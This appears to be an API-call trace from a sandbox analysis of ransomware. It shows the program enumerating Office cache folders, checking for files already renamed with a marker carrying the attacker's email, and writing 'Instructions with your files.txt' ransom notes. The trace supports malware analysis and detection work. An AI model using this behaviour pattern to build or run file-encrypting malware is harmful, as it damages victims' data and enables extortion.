[0112.115] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0112.116] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*") returned 68
[0112.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7e2617c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7e2617c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0112.133] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\.") returned 68
[0112.133] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0112.133] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7e2617c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7e2617c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.133] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\..") returned 69
[0112.133] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0112.133] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e2617c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7e2617c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7e2617c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.133] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.133] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.133] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7de10fe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x265d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PUBLIS~1.COM")) returned 1
[0112.133] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 125
[0112.133] StrStrIW (lpFirst="PublisherMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.133] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7de10fe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x6aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PUBLIS~2.COM")) returned 1
[0112.133] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 125
[0112.133] StrStrIW (lpFirst="PublisherMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.133] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7e23b660, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x97f4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PUBLRC~1.COM")) returned 1
[0112.133] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0112.133] StrStrIW (lpFirst="PubLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.133] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7e2617c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0112.133] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0112.133] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.133] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7e2617c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0112.133] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.133] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0112.138] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0112.139] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0112.139] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0112.140] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0112.140] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0112.140] CloseHandle (hObject=0x10c) returned 1
[0112.140] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0112.140] GetProcessHeap () returned 0x810000
[0112.140] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0112.140] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f24cae0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7f24cae0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1
[0112.140] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C") returned 66
[0112.140] GetProcessHeap () returned 0x810000
[0112.140] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0112.140] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*") returned 68
[0112.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f24cae0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7f24cae0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0112.146] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.") returned 68
[0112.146] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0112.146] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7f24cae0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7f24cae0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.146] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..") returned 69
[0112.146] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0112.146] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f24cae0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7f24cae0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7f272c40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.146] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.146] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.146] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7ec7f540, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xe220cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OUTLKL~1.COM")) returned 1
[0112.146] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0112.146] StrStrIW (lpFirst="OutlkLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.146] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7f142140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x2bbb00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OUTLOO~1.COM")) returned 1
[0112.146] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0112.146] StrStrIW (lpFirst="OutlookMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.146] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7f18e400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xd72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OUTLOO~2.COM")) returned 1
[0112.146] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0112.147] StrStrIW (lpFirst="OutlookMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.147] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7f200820, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x116f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0112.147] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0112.147] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.147] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7f200820, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x116f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0112.147] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.147] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0112.147] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0112.148] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0112.148] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0112.148] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0112.148] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0112.148] CloseHandle (hObject=0x10c) returned 1
[0112.149] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0112.149] GetProcessHeap () returned 0x810000
[0112.149] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0112.149] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80cc7fa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x80cc7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1
[0112.149] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C") returned 66
[0112.149] GetProcessHeap () returned 0x810000
[0112.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0112.149] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*") returned 68
[0112.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80cc7fa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x80cc7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0112.165] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.") returned 68
[0112.165] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0112.165] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80cc7fa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x80cc7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.165] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..") returned 69
[0112.165] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0112.165] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cc7fa0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x80cc7fa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x80cc7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.165] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.165] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.165] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7f604d40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xa78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0112.165] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0112.165] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.165] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x7f9e3100, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x29c6ebd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="WORDLR~1.COM")) returned 1
[0112.165] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 119
